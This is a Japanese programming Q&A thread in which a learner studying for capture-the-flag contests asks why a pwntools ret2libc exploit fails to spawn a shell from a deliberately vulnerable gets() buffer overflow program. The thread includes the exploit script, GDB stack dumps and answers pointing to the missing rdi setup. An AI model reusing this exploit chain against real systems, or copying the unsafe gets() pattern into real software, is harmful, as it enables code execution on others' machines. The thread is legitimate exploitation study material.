質問をすることでしか得られない、回答やアドバイスがある。

15分調べてもわからないことは、質問しよう!

新規登録して質問してみよう
ただいま回答率
85.48%
C

C言語は、1972年にAT&Tベル研究所の、デニス・リッチーが主体となって作成したプログラミング言語です。 B言語の後継言語として開発されたことからC言語と命名。そのため、表記法などはB言語やALGOLに近いとされています。 Cの拡張版であるC++言語とともに、現在世界中でもっとも普及されているプログラミング言語です。

GDB

GDBはGNUソフトウェアシステムのための標準的なデバッガーです。

Python

Pythonは、コードの読みやすさが特徴的なプログラミング言語の1つです。 強い型付け、動的型付けに対応しており、後方互換性がないバージョン2系とバージョン3系が使用されています。 商用製品の開発にも無料で使用でき、OSだけでなく仮想環境にも対応。Unicodeによる文字列操作をサポートしているため、日本語処理も標準で可能です。

Q&A

3回答

927閲覧

ret2libcがどうしても成功しない問題についての質問

kohuku

総合スコア21

C

C言語は、1972年にAT&Tベル研究所の、デニス・リッチーが主体となって作成したプログラミング言語です。 B言語の後継言語として開発されたことからC言語と命名。そのため、表記法などはB言語やALGOLに近いとされています。 Cの拡張版であるC++言語とともに、現在世界中でもっとも普及されているプログラミング言語です。

GDB

GDBはGNUソフトウェアシステムのための標準的なデバッガーです。

Python

Pythonは、コードの読みやすさが特徴的なプログラミング言語の1つです。 強い型付け、動的型付けに対応しており、後方互換性がないバージョン2系とバージョン3系が使用されています。 商用製品の開発にも無料で使用でき、OSだけでなく仮想環境にも対応。Unicodeによる文字列操作をサポートしているため、日本語処理も標準で可能です。

0グッド

0クリップ

投稿2022/09/19 04:47

編集2022/09/19 07:07

前提

CTFを勉強中です。

以下のC言語で書かれたコードの実行ファイルに攻撃してシェルを奪いたいです。

しかし、うまくいかず、何が間違っているのかもわからないため、私の攻撃ソースコードの何が間違っているのかを教えてください。

どうかお願いいたします。

#include <stdio.h> int main(){ char buf[10]; printf("buf : %p\n",buf); gets(buf); return 0; }

実現したいこと

$python3 exploit.py [+] Starting local process './a.out': pid 30487 b'buf : 0x7fffffffdee6\n' [*] Switching to interactive mode $ ls a.c a.out exploit.py $

このような出力を得たい。

発生している問題・エラーメッセージ

実際は以下のような出力になり、実行直後にinteractive modeは終了している。

$python3 exploit.py [+] Starting local process './a.out': pid 31577 b'buf : 0x7fffffffdee6\n' [*] Switching to interactive mode [*] Got EOF while reading in interactive $ [*] Process './a.out' stopped with exit code 2 (pid 31577) [*] Got EOF while sending in interactive Traceback (most recent call last): File "e.py", line 16, in <module> with process(bin_name) as tubu:solv(tubu) File "/home/kohuku/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 1290, in __exit__ self.close() File "/home/kohuku/.local/lib/python3.8/site-packages/pwnlib/tubes/process.py", line 746, in close fd.close() BrokenPipeError: [Errno 32] Broken pipe

攻撃プログラム

今回失敗した攻撃プログラムは以下の通り

python3

1from pwn import * 2 3bin_name="./a.out" 4context.arch='amd64' 5 6def solv(p): 7 s=b"/bin/sh"+pack(0x00)+b'A'*3 #systemの引数を入力、mainのretまでAで埋める 8 s=s+pack(0x40101a) #スタックアラインメントを調整するためのropgadget(ret) 9 s=s+pack(0x7ffff7e1e290) #<_libc_system>のアドレス 10 s=s+pack(0x7ffff7e12a40) #<_libc_system>のリターンアドレス。今回は<_GI_exit> 11 s=s+pack(0x7fffffffdee6) #<_libc_system>の引数。bufのアドレス 12 print(p.recvline()) #bufのアドレスを表示 13 p.sendline(s) 14 p.interactive() 15 16with process(bin_name) as tubu:solv(tubu)

試したこと

各アドレスは間違っていないと思う。
mainのret直前のstackをGDBで確認した。

[-------------------------------------code-------------------------------------] 0x401186 <main+48>: call 0x401060 <gets@plt> 0x40118b <main+53>: mov eax,0x0 0x401190 <main+58>: leave => 0x401191 <main+59>: ret 0x401192: nop WORD PTR cs:[rax+rax*1+0x0] 0x40119c: nop DWORD PTR [rax+0x0] 0x4011a0 <__libc_csu_init>: endbr64 0x4011a4 <__libc_csu_init+4>: push r15 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffde98 --> 0x40101a (<_init+26>: ret) 0008| 0x7fffffffdea0 --> 0x7ffff7e1e290 (<__libc_system>: endbr64) 0016| 0x7fffffffdea8 --> 0x7ffff7e12a40 (<__GI_exit>: endbr64) 0024| 0x7fffffffdeb0 --> 0x7fffffffde86 --> 0x68732f6e69622f ('/bin/sh') 0032| 0x7fffffffdeb8 --> 0x401100 (<register_tm_clones+32>: add BYTE PTR [rax],al) 0040| 0x7fffffffdec0 --> 0x4011a0 (<__libc_csu_init>: endbr64) 0048| 0x7fffffffdec8 --> 0x25e74a72b6a58b10 0056| 0x7fffffffded0 --> 0x401070 (<_start>: endbr64) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x0000000000401191 in main () gdb-peda$

補足

ASLRは無効になっており、その他のセキュリティ機構は以下のようになっています。

$checksec --file=a.out Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)

気になる質問をクリップする

クリップした質問は、後からいつでもMYページで確認できます。

またクリップした質問に回答があった際、通知やメールを受け取ることができます。

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

melian

2022/09/19 06:31

stdin を pseudo tty に設定します。 with process(bin_name, stdin=PTY) as tubu:solv(tubu) これで Broken PIPE の問題は解決するかと思います。
kohuku

2022/09/19 07:09

回答ありがとうございます。 そのように変更すると単にinteractive modeは継続されました。 ただ、やはりシェルは動かないですね。
guest

回答3

0

そもそもの話、x64 ABI的に第一引数rdiが0x7fffffffde86 "/bin/sh"を指していないとダメだけど、rdiをセットするコードどこにあるの?

投稿2022/09/24 04:35

matukeso

総合スコア1590

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

0

x.c

1#include <stdio.h> 2#include <stdlib.h> 3 4int main(){ 5 char buf[10]; 6 7 printf("buf : %p\n",buf); 8 fgets(buf, 10, stdin); 9 system(buf); 10 11 return 0; 12}

実行環境・コンパイル

bash

1$ uname -isr 2Linux 5.15.0-22-generic x86_64 3 4$ lsb_release -ir 5Distributor ID: Ubuntu 6Release: 22.04 7 8$ gcc -fno-stack-protector -z execstack -Wall -Wextra x.c 9$ ls 10a.out x.c

exploit.py

1from pwn import * 2 3 : 4 5with process(bin_name, stdin=PTY) as tubu: 6 solv(tubu)

実行結果

bash

1$ python3 exploit.py 2[+] Starting local process './a.out': pid 55428 3b'buf : 0x7fff402760d6\n' 4[*] Switching to interactive mode 5$ $ ls 6a.out exploit.py x.c 7$ $

投稿2022/09/19 06:59

melian

総合スコア19773

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

kohuku

2022/09/19 07:12

回答ありがとうございます。 system関数はソースコード上で呼ぶのではなく、bofでretアドレスの上書きによって呼び出したいです。
guest

0

アドレスが分かってるなら、あなたの想定したアドレスにあなたの設定した(はずの)データが設定されることぐらいは確認できるのでは。
なにかわからないけど、うまくいかないと言う前に、せめて、そこまでの動作を確認しよう。

投稿2022/09/19 05:51

y_waiwai

総合スコア87774

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

kohuku

2022/09/19 06:24

回答ありがとうございます。 想定したアドレスに設定した(はずの)データが設定されていることは「試したこと」の項目で確認済(のはず)です。少なくとも僕が想定した通りのスタックになっています。他に確認してみた方がよいことがあれば教えて頂きたいです。
guest

あなたの回答

tips

太字

斜体

打ち消し線

見出し

引用テキストの挿入

コードの挿入

リンクの挿入

リストの挿入

番号リストの挿入

表の挿入

水平線の挿入

プレビュー

まだベストアンサーが選ばれていません

会員登録して回答してみよう

アカウントをお持ちの方は

15分調べてもわからないことは
teratailで質問しよう!

ただいまの回答率
85.48%

質問をまとめることで
思考を整理して素早く解決

テンプレート機能で
簡単に質問をまとめる

質問する

関連した質問